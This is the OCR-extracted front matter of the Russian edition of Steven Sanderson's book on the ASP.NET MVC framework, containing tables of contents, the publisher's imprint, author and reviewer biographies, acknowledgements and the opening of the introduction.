Оглавление
Содержание
Об авторе
О техническом рецензенте
Благодарности
Введение
Как организована эта книга
Исходный код примеров
От издательства
Часть 1. Введение в АSР.NET MVC
Глава 1. Основная идея
Недостатки традиционной платформы ASP.NET
Веб-разработка сегодня
Гибкая разработка и разработка, управляемая тестами
Ruby on Rails
Ключевые преимущества ASP.NET MVC
Расширяемость
Тестируемость
Жесткий контроль над HTML
Мощная новая система маршрутизации
Построение на основе лучших частей платформы ASP.NET
Языковые нововведения в .NET 3.5
ASP.NET MVC - продукт с открытым кодом
Пользователи ASP.NET MVC
Сравнение с Ruby on Rails
Сравнение с MonoRail
Резюме
Глава 2. Первое приложение АSР.NET MVC
Создание нового проекта АSР.NET MVC
Основы функционирования
Визуализация веб-страниц
Добавление динамического вывода
Стартовое приложение
Связывание действий
Проектирование модели данных
Построение формы
Обработка отправки формы
Добавление проверки достоверности
Завершающие штрихи
Резюме
Глава 3. Предварительные условия
Выделение модели предметной области
Трехъярусная архитектура
Архитектура \
Реализация в ASP.NET MVC
Вариации архитектуры \
Моделирование предметной области
Сущности и объекты значений
Универсальный язык
Агрегаты и упрощение
Сохранение кода доступа к данным в репозиториях
Использование LINQ to SQL
Построение слабо связанных компонентов
Использование инверсии управления
Использование контейнера инверсии управления
Введение в автоматизированное тестирование
Стиль разработки \
Новые языковые средства С# 3.0
Расширяющие методы
Лямбда-методы
Выведение обобщенного типа
Автоматические свойства
Инициализаторы объектов и коллекций
Выведение типа
Анонимные типы
Использование LINQ to Objects
Лямбда-выражения
Интерфейс IQueryable<T> и LINQ to SQL
Резюме
Глава 4. Реальное приложение SportStore
Построение модели предметной области
Создание фиктивного репозитория
Отображение списка товаров
Добавление первого контроллера
Настройка маршрута по умолчанию
Добавление первого представления
Подключение к базе данных
Настройка LINQ to SQL
Создание реального репозитория
Настройка инверсии управления
Использование контейнера инверсии управления
Выбор стиля жизни компонента
Создание автоматизированных тестов
Конфигурирование специальной схемы URL
Отображение ссылок на страницы
Стилизация
Добавление правил СSS
Создание частичного представления
Резюме
Глава 5. Приложение SportStore: навигация и корзина для покупок
Определение схемы URL для категорий
Построение меню навигации по категориям
Построение корзины для покупок
Добавление кнопок Add to cart
Предоставление каждому посетителю отдельной корзины для покупок
Создание CartController
Отображение корзины
Удаление элементов из корзины
Отображение итоговой суммы по корзине в строке заголовка
Отправка заказов
Добавление кнопки Check Out Now
Приглашение покупателю ввести сведения о доставке
Определение компонента IoC для отправки заказов
Завершение разработки класса CartController
Реализация класса EmailOrderSubmitter
Резюме
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования
Визуализация списка товаров из репозитория
Построение редактора товара
Создание новых товаров
Удаление товаров
Защита средств администрирования
Использование фильтра для принудительной аутентификации
Отображение приглашения на ввод регистрационных данных
Загрузка изображений
Выбор файла для загрузки
Вывод изображений товаров
Резюме
Часть II. АSР.NET MVC во всех деталях
Глава 7. Общее представление о проектах АSР.NET MVC
Соглашения об именовании
Начальный скелет приложения
Отладка приложений MVC и модульные тесты
Использование отладчика
Вхождение в исходный код .NET Framework
Вхождение в исходный код USENET MVC
Конвейер обработки запросов
Стадия 2: базовая маршрутизация
Стадия 3: контроллеры и действия
Стадия 4: результаты действий и представления
Резюме
Глава 8. URL и маршрутизация
Настройка маршрутов
Добавление элемента маршрута
Использование параметров
Использование настроек по умолчанию
Использование ограничений
Прием списка параметров переменной длины
Сопоставление с файлами на жестком диске сервера
Генерация исходящих URL
Генерация ссылок и URL из чистых данных маршрутизации
Перенаправление на сгенерированные URL
Алгоритм сопоставления с исходящим маршрутом
Генерация гиперссылок с помощью метода Html.ActionLink<T> и лямбда-выражений
Работа с именованными маршрутами
Модульное тестирование маршрутов
Тестирование генерации исходящих URL
Дальнейшая настройка
Реализация специального обработчика маршрутов
Полезные советы относительно схемы URL
Следуйте соглашениям протокола НТТР
Поисковая оптимизация
Резюме
Глава 9. Контроллеры и действия
Все контроллеры реализуют интерфейс Controller
Базовый класс Controller
Получение вводимых данных
Использование параметров методов действий
Ручной вызов привязки модели в методе действия
Генерация вывода
Возврат HTML-разметки с помощью визуализации представления
Выполнение перенаправлений
Возврат текстовых данных
Возврат данных JSON
Возврат команд JavaScript
Возврат файлов и двоичных данных
Создание специального типа результата действия
Использование фильтров для подключения повторно используемого поведения
Применение фильтров к контроллерам и методам действий
Создание фильтров действий и фильтров результатов
Создание и использование фильтров авторизации
Создание и использование фильтров исключений
Распространение исключений по фильтрам действий и результатов
Фильтр действия [OutputCache]
Другие встроенные фильтры
Контроллеры как часть конвейера обработки запросов
Создание специальной фабрики контроллеров
Настройка выбора и вызова методов действий
Тестирование контроллеров и действий
Тестирование выбора представления и ViewData
Тестирование перенаправления
Дополнительные комментарии по поводу тестирования
Имитация объектов контекста
Резюме
Глава 10. Представления
Сменяемость механизмов представлений
Основы механизма представлений WebForms
Пять способов добавления динамического содержимого к шаблону представления
Применение встроенного кода
Действительная работа представлений MVC
Структура ViewData
Визуализация элементов ViewData с использованием ViewData.Eval
Использование вспомогательных методов HTML
Создание собственных вспомогательных методов HTML
Использование частичных представлений
Визуализация частичного представления с использованием серверных дескрипторов
Использование Html.RenderAction для создания многократно используемых графических элементов с прикладной логикой
Когда стоит использовать метод Html .RenderAction
Создание графического элемента на основе метода Html.RenderAction
Совместное использование компоновок страниц с помощью мастер-страниц
Реализация специального механизма представлений
Использование альтернативных механизмов представлений
Использование механизма представлений Brail
Использование механизма представлений Spark
Использование механизма представления NHaml
Резюме
Глава 11. Ввод данных
Привязка модели к специальным типам
Прямой вызов привязки модели
Привязка модели к массивам, коллекциям и словарям
Создание специального средства привязки модели
Использование привязки модели для получения загружаемых файлов
Проверка достоверности
Вспомогательные методы представления для вывода информации об ошибках
Поддержка состояния элементов ввода
Выполнение проверки достоверности во время привязки модели
Перенос логики проверки достоверности на уровень модели
Мастера и многошаговые формы
Верификация
Ссылки подтверждения и защита от искажения с помощью кодов НМАС
Резюме
Глава 12. Ajax и сценарии клиента
Вспомогательные методы Ajах.* в ASP NET MVC
Асинхронная отправка форм с использованием мтода Ajax.BeginForm
Вызов команд JavaScript из метода действия
Обзор вспомогательных методов Ajах.* в ASP NET MVC
Использование jQuery в АSР.NET MVC
Теория, положенная в ocnoay jQuery
Добавление интерактивности на стороне клиента к представлению MVC
Ссылки и формы с поддержкой Ajax
Передача данных между клиентом и сервером в формате JSON
Выборка данных ХМЬ с использованием jQuery
Анимация и другие графические эффекты
Предварительно построенные графические элементы jQuery UI
Реализация проверки достоверности на стороне клиента с помощью jQuery
Подведение итогов по jQuery
Резюме
Глава 13. Безопасность и уязвимость
Межсайтовые сценарии и внедрение HTML-кода
Средство проверки достоверности запросов ASP.NET
Фильтрация HTML с использованием пакета HTML Agility Pack
Перехват сеанса
Защита с помощью проверки IP-адреса клиента
Защита с помощью установки флага HttpOnly для cookie-наборов
Межсайтовая подделка запросов
Защита
Предупреждение атак CSRF с помощью противоподделочных вспомогательных методов
Внедрение кода SQL
Защита кодированием вводимых данных
Защита с использованием параметризованных запросов
Защита с помощью объектно-реляционного отображения
Безопасное использование MVC Framework
Предотвращение изменения уязвимых свойств привязкой модели
Резюме
Глава 14. Развертывание
Основные сведения о серверах IIS
Привязка веб-сайтов к именам хостов, IP-адресам и портам
Обработка запросов и обращение к ASP.NET сервером IIS
Развертывание приложения
Использование средства публикации в Visual Studio 2008
Развертывание на сервере IIS 6 в среде Windows Server 2003
Развертывание на сервере IIS 7
Подготовка приложения к работе в производственной среде
Поддержка виртуальных каталогов
Использование средств конфигурирования ASP.NET
Управление компиляцией на сервере
Обнаружение ошибок компиляции в представлениях перед развертыванием
Резюме
Глава 15. Компоненты платформы ASP.NET
Компонент Forms Authentication
Применение Forms Authentication в режиме без cookie-наборов
Членство, роли и профили
Использование поставщика членства и компонента Forms Authentication
Создание специального поставщика членства
Настройка и использование ролей
Настройка и использование профилей
Авторизация на основе URL
Кэширование данных
Использование расширенных средств кэширования
Карты сайтов
Настройка и использование карт сайтов
Генерация URL карты сайта из данных маршрутизации
Интернационализация
Советы по работе с файлами ресурсов
Использование заполнителей в ресурсных строках
Производительность
Трассировка и мониторинг
Мониторинг времени генерации страниц
Мониторинг запросов базы данных LINQ to SQL
Резюме
Глава 16. Комбинация платформ MVC и WebForms
Использование страниц WebForms в веб-приложении MVC
Добавление поддержки маршрутизации для страниц WebForms
Использование технологии ASP.NET MVC в приложении WebForms
Доступ к элементам MVC в среде Visual Studio
Взаимодействие между страницами WebForms и контроллерами MVC
Резюме
Предметный указатель
Text
                    
THE EXPERT'S VOICE0 IN .NET
Framework
с примерами на C#
ДЛЯ ПРОФЕССИОНАЛОВ
Раскройте для себя самое значительное нововведение в программных средствах разработки веб-приложений от корпорации Microsoft после выпуска платформы ASP.NET 1.0
ВИЛЬЯМС
www.williamspublishing.com
Apress*
Стивен Сандерсон
www.apress.com
Pro
ASP.NET MVC
Framework
Steven Sanderson
Apress®
ASP.NET MVC
Framework с примерами на C#
ДЛЯ ПРОФЕССИОНАЛОВ
Стивен Сандерсон
ВИЛЬЯМС
Москва • Санкт-Петербург • Киев
2010
ББК 32.973.26-018.2.75
С18
УДК 681.3.07
Издательский дом “Вильямс” Зав. редакцией С.Н. Тригуб Перевод с английского Н.А. Мухина Под редакцией Ю.Н. Артеменко
По общим вопросам обращайтесь в Издательский дом “Вильямс’’ по адресу: mfo@williamspublishing.com, http://www.williamspublishing.com
Сандерсон, Стивен.
С18 ASP.NET MVC Framework с примерами на C# для профессионалов. : Пер. с англ. — М. : ООО “И.Д. Вильямс”, 2010. — 560 с. : ил. — Парад, тит. англ.
ISBN 978-5-8459-1609-9 (рус.)
ББК 32.973.26-018.2.75
Все названия программных продуктов являются зарегистрированными торговыми марками соответствующих фирм.
Никакая часть настоящего издания ни в каких целях не может быть воспроизведена в какой бы то ни было форме и какими бы то ни было средствами, будь то электронные или механические, включая фотокопирование и запись на магнитный носитель, если на зто нет письменного разрешения издательства APress, Berkeley. СА.
Authorized translation from the English language edition published by APress, Inc., Copyright © 2009 by Steven Sanderson.
AU rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher.
Trademarked names may appear in this book. Rather than use a trademark symbol with every occurrence of a trademarked name, we use the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark.
Russian language edition Is published by Williams Publishing House according to the Agreement with R&I Enterprises International, Copyright © 2010.
Научно-популярное издание
Стивен Сандерсон
ASP.NET MVC FRAMEWORK С ПРИМЕРАМИ НА C#
ДЛЯ ПРОФЕССИОНАЛОВ
Верстка Т.Н. Артеменко
Художественный редактор В.Г. Пазлютин
Подписано в печать 30.10.2009. Формат 70x100/16. Гарнитура Times. Печать офсетная.
Усл. печ. л. 45,15. Уч.-изд. л. 40,8.
Тираж 1000 экз. Заказ № 19625.
Отпечатано по технологии CtP в ОАО "Печатный двор” им. А. М. Горького 197110, Санкт-Петербург. Чкаловский пр., 15.
ООО "И. Д. Вильямс”, 127055, г. Москва, ул. Лесная, д. 43. стр. 1
ISBN 978-5-8459-1609-9 (рус.)
ISBN 978-1-43-021007-8 (англ.)
© Издательский дом “Вильямс”, 2010
© by Steven Sanderson, 2009
Оглавление
Часть I. Введение в ASP.NET MVC	19
Глава 1. Основная идея	20
Глава 2. Первое приложение ASP.NET MVC	32
Глава 3. Предварительные условия	52
Глава 4. Реальное приложение SportStore	95
Глава 5. Приложение SportStore: навигация и корзина для покупок	131
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования	175
Часть ll.ASP.NET MVC во всех деталях	201
Глава 7. Общее представление о проектах ASP.NET MVC	202
Глава 8. URL и маршрутизация	219
Глава 9. Контроллеры и действия	255
Глава 10. Представления	313
Глава 11. Ввод данных	359
Глава 12. Ajax и сценарии клиента	407
Глава 13. Безопасность и уязвимость	444
Глава 14. Развертывание	462
Глава 15. Компоненты платформы ASP.NET	489
Глава 16. Комбинация платформ MVC и WebForms	536
Предметный указатель	552
Содержание
Об авторе	15
О техническом рецензенте	15
Благодарности	16
Введение	17
Для кого написана эта книга	1
Как организована эта книга	18
Исходный код примеров	18
От издательства	18
Часть I. Введение в ASP.NET MVC	19
Глава 1. Основная идея	20
Краткая история веб-разработки	20
Традиционная платформа ASP.NET	21
Недостатки традиционной платформы ASP.NET	21
Веб-разработка сегодня	22
Веб-стандарты и REST	22
Гйбкая разработка и разработка, управляемая тестами	23
Ruby on Ralls	24
Ключевые преимущества ASP.NET MVC	24
Архитектура “модель-представление-контроллер”	24
Расширяемость	25
Тестируемость	25
Жесткий контроль над HTML	26
Мощная новая система маршрутизации	26
Построение на основе лучших частей платформы ASP.NET	27
Языковые нововведения в .NET 3.5	27
ASP. NET MVC — продукт с открытым кодом	28
Пользователи ASP.NET MVC	28
Сравнение с ASP.NET WebForms	28
Сравнение с Ruby on Ralls	29
Сравнение с MonoRail	30
Резюме	30
Глава 2. Первое приложение ASP.NET MVC	32
Подготовка рабочей станции	32
Создание нового проекта ASP.NET MVC	33
Удаление ненужных файлов	35
Основы функционирования	36
Визуализация веб-страниц	36
Создание и визуализация представления	36
Добавление динамического вывода	38
Стартовое приложение	39
История	39
Связывание действий	40
Проектирование модели данных	41
Построение формы	42
Обработка отправки формы	44
Содержание 7
Добавление проверки достоверности	47
Завершающие штрихи	49
Резюме	51
Глава 3. Предварительные условия	52
Определение архитектуры “модель-представление-контроллер”	52
Антишаблон Smart UI	53
Выделение модели предметной области	54
Трехъярусная архитектура	55
Архитектура “модель-представление-контроллер"	56
Реализация в ASP.NET MVC	57
Вариации архитектуры “модель-представление-контроллер”	58
Моделирование предметной области	60
Пример модели предметной области	60
Сущности и объекты значений	61
Универсальный язык	61
Агрегаты и упрощение	62
Сохранение кода доступа к данным в репозиториях	64
Использование LINQ to SQL	65
Построение слабо связанных компонентов	71
Стремление к сбалансированному подходу	73
Использование инверсии управления	73
Использование контейнера инверсии управления	75
Введение в автоматизированное тестирование	77
Модульные и интеграционные тесты	79
Стиль разработки “красная полоса — зеленая полоса”	79
Новые языковые средства C# 3.0	83
11роектная цель — язык интегрированных запросов	83
Расширяющие методы	84
Лямбда-методы	85
Выведение обобщенного типа	86
Автоматические свойства	86
Инициализаторы объектов и коллекций	87
Выведение типа	88
Анонимные типы	88
Использование LINQ to Objects	90
Лямбда-выражения	91
Интерфейс IQueryable<T> и LINQ to SQL	92
Резюме	94
Глава 4. Реальное приложение SportStore	95
Приступаем	97
Создание решений и проектов	97
Построение модели предметной области	99
Создание абстрактного репозитория	100
Создание фиктивного репозитория	101
Отобр ажение списка товаров	101
Удаление ненужных файлов	102
Добавление первого контроллера	102
Настройка маршрута по умолчанию	103
Добавление первого представления	104
Подключение к базе данных	106
Определение схемы базы данных	106
8 Содержание
Настройка LINQ to SQL	108
Создание реального репозитория	109
Настройка инверсии управления	110
Создание специальной фабрики контроллеров	111
Использование контейнера инверсии управления	112
Выбор стиля жизни компонента	114
Создание автоматизированных тестов	115
Конфитурирование специальной схемы URL	119
Добавление элемента RouteTable	119
Отображение ссылок на страницы	121
Стилизация	125
Определение компоновки в мастер -странице	126
Добавление правил CSS	127
Создание частичного представления	128
Резюме	129
Глава 5. Приложение SportStore: навигация и корзина для покупок	131
Добавление элементов управления навигацией	131
Фильтрация списка товаров	132
Определение схемы URL д ля категорий	135
Построение меню навигации по категориям	140
Построение корзины д ля покупок	147
Определение сущности Cart	149
Добавление кнопок Add to cart	151
Предоставление каждому посетителю отдельной корзины д ля покупок	153
Создание CartController	155
Отображение корзины	156
Удаление элементов из корзины	159
Отображение итоговой суммы по корзине в строке заголовка	160
Отправка заказов	162
Расширение модели предметной области	163
Добавление кнопки Check Out Now	164
Приглашение покупателю ввести сведения о доставке	165
Определение компонента 1оС для отправки заказов	166
Завершение разработки класса CartController	167
Реализация класса EmailOrderSubmitter	171
Резюме	173
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования	175
Добавление средств у правлен ия каталогом	176
Создание класса AdminController — места для размещения средств CRUD	176
Визуализация списка товаров из репозитория	179
Построение редактора товара	181
Создание новых товаров	188
Удаление товаров	188
Защита средств администрирования	190
Настройка средства Forms Authentication	191
Использование фильтра для принудительной аутентификации	192
Отображение приглашения на ввод регистрационных данных	193
Загрузка изображений	196
Подготовка модели предметной области и базы данных	196
Содержание 9
Выбор файла для загрузки	197
Вывод изображений товаров	198
Резюме	200
Часть II. ASP.NET MVC во всех деталях	201
Глава 7. Общее представление о проектах ASP.NET MVC	202
Разработка приложений MVC в Visual Studio	202
Структура стандартного проекта МУС	203
Соглашения об именовании	206
Начальный скелет приложения	207
Отладка приложений MVC и модульные тесты	207
Использование отладчика	210
Вхождение в исходный код .NET Framework	211
Вхождение в исходный код ASP.NET МУС	211
Конвейер обработки запросов	212
Стадия 1: сервер IIS	212
Стадия 2: базовая маршрутизация	214
Стадия 3: контроллеры и действия	216
Стадия 4: результаты действий и представления	217
Резюме	218
Глава 8. URL и маршрутизация	219
Возвращение программисту контроля над программой	219
Настройка маршрутов	220
Механизм маршрутизации	221
Добавление элемента маршрута	225
Использование параметров	226
Использование настроек по умолчанию	227
Использование ограничений	228
Прием списка параметров переменной длины	231
Сопоставление с файлами на жестком диске сервера	232
Использование IgnoreRoute () для обхода системы маршрутизации	233
Генерация исходящих URL	234
Генерация гиперссылок с помощью вспомогательного метода Html. ActionLink 234
Генерация ссылок и URL из чистых данных маршрутизации	236
Перенаправление на сгенерированные URL	237
Алгоритм сопоставления с исходящим маршрутом	238
Генерация гиперссылок с помощью метода Html. ActionLink<T>
и лямбда-выражений	240
Работа с именованными маршрутами	241
Модульное тестирование маршрутов	242
Тестирование входящей маршрутизации URL	242
Тестирование генерации исходящих URL	246
Дальнейшая настройка	247
Реализация специального элемента RouteBase	247
Реализация специального обработчика маршрутов	248
Полезные советы относительно схемы URL	249
Делайте URL ясными и дружественными для людей	249
Следуйте соглашениям протокола HTTP	251
Поисковая оптимизация	253
Резюме	254
10 Содержание
Глава 9. Контроллеры и действия Краткий обзор Сравнение с ASP.NET WebForms Все контроллеры реализуют интерфейс IController Базовый класс Controller Получение вводимых данных Получение данных из объектов контекста Использование параметров методов действий Ручной вызов привязки модели в методе действия Генерация вывода Концепция ActionResult Возврат HTML-разметки с помощью визуализации представления Выполнение перенаправлений Возврат текстовых данных Возврат данных JSON Возврат команд JavaScript Возврат файлов и двоичных данных Создание специального типа результата действия Использование фильтров для подключения повторно используемого поведения Четыре базовых типа фильтров Применение фильтров к контроллерам и методам действий Создание фильтров действий и фильтров результатов Создание и использование фильтров авторизации Создание и использование фильтров исключений Распространение исключений по фильтрам действий и результатов Фильтр действия [OutputCache] Другие встроенные фильтры Контроллеры как часть конвейера обработки запросов Работа с DefaultControllerFactory Создание специальной фабрики контроллеров Настройка выбора и вызова методов действий Тестирование контроллеров и действий Подготовка, выполнение и утверждение в модульном тесте Тестирование выбора представления и ViewData Тестирование перенаправления Дополнительные комментарии по поводу тестирования Имитация объектов контекста Резюме	255 255 256 256 257 258 258 260 261 262 262 264 269 272 273 274 275 277 280 280 281 283 286 289 292 294 296 296 296 298 299 305 306 306 307 308 309 312
Глава 10. Представления Место представлений в ASP.NET MVC Механизм представлений WebForms Сменяемость механизмов представлений Основы механизма представлений WebForms Добавление содержимого к шаблону представления Пять способов добавления динамического содержимого к шаблону представления Применение встроенного кода Причины пригодности встроенного кода д ля шаблонов представлений MVC Действительная работа представлений MVC Компиляция шаблонов ASPX Структура ViewData	313 313 314 315 315 315 316 316 318 319 319 321
Содержание 11
Визуализация элементов ViewData с использованием ViewData. Eval	322
Использование вспомогательных методов HTML	324
Встроенные вспомогательные методы MVC Farmework	325
Создание собственных вспомогательных методов HTML	334
Использование частичных представлений	335
Создание частичного представления	336
Визуализация частичного представления с использованием серверных дескрипторов	340
Использование Html. RenderAction для создания многократно используемых графических элементов с прикладной логикой	342
Назначение метода Html. RenderAction	343
Когда стоит использовать метод Html. RenderAction	343
Создание графического элемента на основе метода Html. RenderAction	344
Совместное использование компоновок страниц с помощью мастер-страниц	346
Использование графических элементов на мастер-страницах представлений MVC 347
Реализация специального механизма представлений	349
Механизм представлений, визуализирующий XML-вывод с помощью XSLT	349
Использование альтернативных механизмов представлений	353
Использование механизма представлений NVelocity	354
Использование механизма представлений Brail	355
Использование механизма представлений Spark	356
Использование механизма предста вления NHaml	357
Резюме	358
Глава 11. Ввод данных	359
Привязка модели	359
Привязка модели к параметрам метода действия	360
Привязка модели к специальным типам	361
Прямой вызов привязки модели	364
Привязка модели к массивам, коллекциям и словарям	366
Создание специального средства привязки модели	368
Использование привязки модели для получения загружаемых файлов	371
Проверка достоверности	372
Регистрация ошибок в Modelstate	373
Вспомогательные методы представления для вывода информации об ошибках	375
Поддержка состояния элементов ввода	377
Выполнение проверки достоверности во время привязки модели	378
Перенос логики проверки достоверности на уровень модели	380
Проверка достоверности клиентской стороны (JavaScript)	384
Мастера и многошаговые формы	385
Верификация	395
Реализация компонента CAPTCHA	395
Ссылки подтверждения и защита от искажения с помощью кодов НМАС	402
Резюме	406
Глава 12. Ajax и сценарии клиента	407
Причины использования инструментальных средств JavaScript	408
Вспомогательные методы Aj ах.* в ASP.NET MVC	409
Асинхронная выборка содержимого страницы с использованием метода Ajax.ActionLink	409
Асинхронная отправка форм с использованием мтода Aj ах. BeginForm	415
12 Содержание
Вызов команд JavaScript из метода действия	415
Обзор вспомогательных методов A j ах. * в ASP.NET MVC	418
Использование j Query в ASP. NET MVC	418
Ссылки на библиотеку jQuery	419
Теория, положенная в основу jQuery	420
Добавление интерактивности на стороне клиента к представлению MVC	425
Ссылки и формы с поддержкой Ajax	429
Передача данных между клиентом и сервером в формате JSON	435
Выборка данных XML с использованием jQuery	437
Анимация и другие графические эффекты	438
Предварительно построенные графические элементы jQuery UI	439
Реализация проверки достоверности на стороне клиента с помощью jQuery	441
Подведение итогов по jQuery	443
Резюме	443
Глава 13. Безопасность и уязвимость	444
Все вводимые данные могут быть подделаны	444
Подделка НТГР-запросов	446
Межсайтовые сценарии и внедрение HTML-кода	447
Пример уязвимости XSS	448
Средство проверки достоверности запросов ASP.NET	450
Фильтрация HTML с использованием пакета HTML Agility Pack	452
Перехват сеанса	453
Защита с г юмощью проверки IP-адреса клиента	454
Защита с помощью установки флага HttpOnly для cookie-наборов	454
Межсайтовая подделка запросов	455
Атака	455
Защита	456
Предупреждение атак CSRF с помощью противоподделочных
вспомогательных методов	457
Внедрение кода SQL	458
Атака	459
Защита кодированием вводимых данных	459
Защита с использованием параметризованных запросов	459
Защита с помощью объектно-реляционного отображения	460
Безопасное использование MVC Framework	460
Неумышленное раскрытие методов действий	460
Предотвращение изменения уязвимых свойств привязкой модели	461
Резюме	461
Глава 14. Развертывание	462
Требования к серверу	462
Требования для виртуального хостинга	463
Основные сведения о серверах IIS	463
Веб-сайты и виртуальные каталоги	463
Привязка веб-сайтов к именам хостов, IP-адресам и портам	465
Обработка запросов и обращение к ASP.NET сервером IIS	465
Развертывание приложения	468
Копирование файлов приложения на сервер	468
Использование средства публикации в Visual Studio 2008	470
Развертывание на сервере IIS 6 в среде Windows Server 2003	471
Развертывание на сервере IIS 7	479
Содержание 13
Подготовка приложения к работе в производственной среде	482
Поддержка изменяемой конфигурации маршрутизации	483
Поддержка виртуальных каталогов	483
Использование средств конфигурирования ASP.NET	484
Управление компиляцией на сервере	486
Обнаружение ошибок компиляци и в представлеггиях перед разве ртыванием 48 7
Резюме	488
Глава 15. Компоненты платформы ASP.NET	489
Компонент Windows Authentication	490
Предотвращение или ограничение анонимного доступа	492
Компонент Forms Authentication	493
Настройка Forms Authentication	494
Применение Forms Authentication в режиме без cookie-наборов	498
Членство, роли и профили	498
Установка поставщика членства	500
Использование поставщика членства и компонента Forms Authentication	504
Создание специального поставщика членства	505
Настройка и использование ролей	506
Настройка и использование профилей	508
Авторизация на основе URL	512
Кэширование данных	513
Чтение и запись данных в кэш	514
Использование расширенных средств кэширования	516
Карты сайтов	517
Настройка и использование карт сайтов	518
Создание специального элемента управления навигацией
с помощью API-интерфейса карт сайтов	519
Генерация URL карты сайта из данных маршрутизации	520
Интернационализация	523
Настройка интернационализации	524
Советы по работе с файлами ресурсов	526
Использование заполнителей в ресурсных строках	527
Производительность	527
НТТР-сжатие	528
Трассировка и мониторинг	529
Мониторинг времени генерации страниц	531
Мониторинг запросов базы данных LINQ to SQL	532
Резюме	535
Глава 16. Комбинация платформ MVC и WebForms	536
Использование технологии WebForms в приложении MVC	536
Использование элементов управления WebForms в представлениях МУС	537
Использование страниц WebForms в веб-приложении МУС	539
Добавление поддержки маршрутизации для страниц WebForms	540
Использование технологии ASP.NET МУС в приложении WebForms	544
Модернизация приложения ASP.NET WebForms для поддержки МУС	544
Доступ к элементам МУС в среде Visual Studio	548
Взаимодействие между страницами WebForms и контроллерами МУС	549
Резюме	551
Предметный указатель	552
Об авторе 15
Об авторе
Стивен Сандерсон (Steve Sanderson) начал изучать программирование, скопировав листинги на Бейсике из руководства по компьютеру Commodore VIC-20. Именно так он учился читать.
Стив родился в Шеффилде, Великобритания, получил высшее образование, изучая математику в Кембридже, и теперь живет в Бристоле. Он работал в гигантском инвестиционном банке, крошечной начинающей компании, затем в среднего размера компании, занимающейся поставкой ПО, и, наконец, стал независимым веб-разработчи-ком, консультантом и инструктором. Стив является членом британского сообщества разработчиков .NET, и старается участвовать в работе групп пользователей, а также выступать на всех свободных конференциях, когда возникает такая возможность.
Он приветствует технический прогресс и купит любое устройство, лишь бы в нем были мигающие светодиоды.
О техническом рецензенте
Энди Олсен (Andy Olsen) — независимый разработчик и консультант, живущий в Великобритании. Энди имеет дело с .NET еще со времен первой бета-версии, и участвовал в качестве соавтора и рецензента в издании нескольких книг для Apress, посвященных С#, Visual Basic, ASP.NET и другим темам. Энди — увлеченный болельщик футбола и регби, любит бегать и кататься на лыжах. Живет на берегу моря в Суонси (Южный Уэльс) с женой Джейн и детьми Эмили и Томасом, и только недавно открыл для себя радость серфинга, в результате чего стал великолепно выглядеть.
16 Благодарности
Благодарности
Эта книга увидела свет в результате совместных усилий целой команды. Я впечатлен всей командой издательства Apress: София выполнила фантастическую работу по удержанию всего проекта на правильном курсе, терпеливо исправляя план работ всякий раз. когда возникала в этом необходимость. Дамон поставил каждую запятую и каждое предложение в надлежащее место, тактично вычистив множество британских оборотов, которые сбили бы с толку большинство читателей. Лора с готовностью взвалила на себя бремя постоянной синхронизации последней редакции текстов с красиво оформленными PDF-документами. Эван защищал проект с самого начала. Мой технический рецензент Энди здорово помог в определении степени детализации каждого объяснения, и неусыпно контролировал правильность моей работы. Излишне говорить, что любые технические ошибки в этой книге появились в результате того, что я вставил их в тайне от Энди, уже после его проверки.
Многие читатели прислали отклики на черновики этой книги, опубликованные в рамках альфа-программы Apress. Все вы заслужили нашу признательность, поскольку помогли повысить качество и целостность изложения и терминологии, использованной в книге.
Все мы должны поблагодарить персонал Microsoft, и не только за то, что они предоставили нам блестящую новую платформу разработки веб-приложений, но также за то, как они это сделали. Фил Хаак (Phil Haack), Скотт Гатри (Scott Guthrie) и их невероятно умная команда постоянно реагировали на отклики потребителей на протяжении всего процесса разработки, каждые два месяца смело открывая на всеобщее обозрение состояние дел в работе над проектом, не боясь критики. Они изменили наше представление о Microsoft, выложив весь исходный код платформы на сайте http: //codeplex.com/ и значительно поддержав сообщество открытого кода, поставляя jQueiy как поддерживаемое, документированное дополнение.
И напоследок хочу выразить признательность Зое, моей жене, которая взяла на себя бремя повседневных забот о нашей жизни, чтобы освободить меня для продуктивной работы. Я совершенно уверен, что ее вклад в этот проект превышает мой.
Введение
Мы все ждали этого очень долго! Первый черновой выпуск ASP.NET MVC был представлен широкой публике в декабре 2007 г. и немедленно вызвал волну энтузиазма в мире разработчиков программного обеспечения. Можно ли считать это наиболее значительным достижением Microsoft в разработке веб-приложений со времен появления ASP.NET в 2002 г.? Можно ли считать, что мы, наконец, получили платформу разработки, которая стимулирует и поддерживает создание высококачественного программного обеспечения?
С тех пор мы увидели целых пять предварительных выпусков для сообщества разработчиков (СТР), один бета-выпуск, два выпуска-кандидата и, наконец, в марте 2009 г. завершенную версию 1.0. Некоторые выпуски были просто последовательными улучшениями своих предшественников, а другие существенно повышали уровень механизмов и эстетики платформы (например, понятие привязки модели, описанное в главе 11, не существовало до пятого предварительного выпуска). На каждой стадии команда ASP.NET MVC приветствовала отклики пользователей и направляла усилия по разработке в соответствии с опытом практического использования в реальных условиях. Не все продукты Microsoft строились подобным образом; как следствие, ASP.NET MVC 1.0 получился намного более зрелым, чем первая версия любого другого продукта.
Я приступил к работе над этой книгой в декабре 2007 г., надеясь завершить работу к сроку публикации — летом 2008 г. И с каждым предварительным выпуском всю рукопись приходилось обновлять, перерабатывать, расширять и отшлифовывать: иногда устаревали целые главы, и их приходилось просто выбрасывать. Проект занял настолько значительной место в моей жизни, что все разговоры с друзьями, семьей или коллегами начинались с вопроса “Как обстоят дела с книгой?”, за которым следовал вопрос “Расскажи мне еще раз — о чем эта книга?”. Я надеюсь, что эта завершенная рукопись, которая создавалась параллельно с самим ASP.NET MVC, не только даст вам ясное понимание того, что собой представляет эта платформа сегодня, но также и то, почему она была спроектирована именно таким образом, и как те же принципы могут повысить качество разрабатываемого вами кода.
Для кого написана эта книга
Эта книга ориентирована на профессиональных разработчиков программного обеспечения, которые обладают солидными знаниями в области C# и общих концепций вебразработки, таких как HTML и HTTP. В идеале желательно иметь опыт использования традиционной платформы ASP.NET (что в наши дни означает знание WebForms, в отличие от MVC), но если вы работали с PHP, Rails или другой платформой для разработки веб-приложений, то это тоже неплохо.
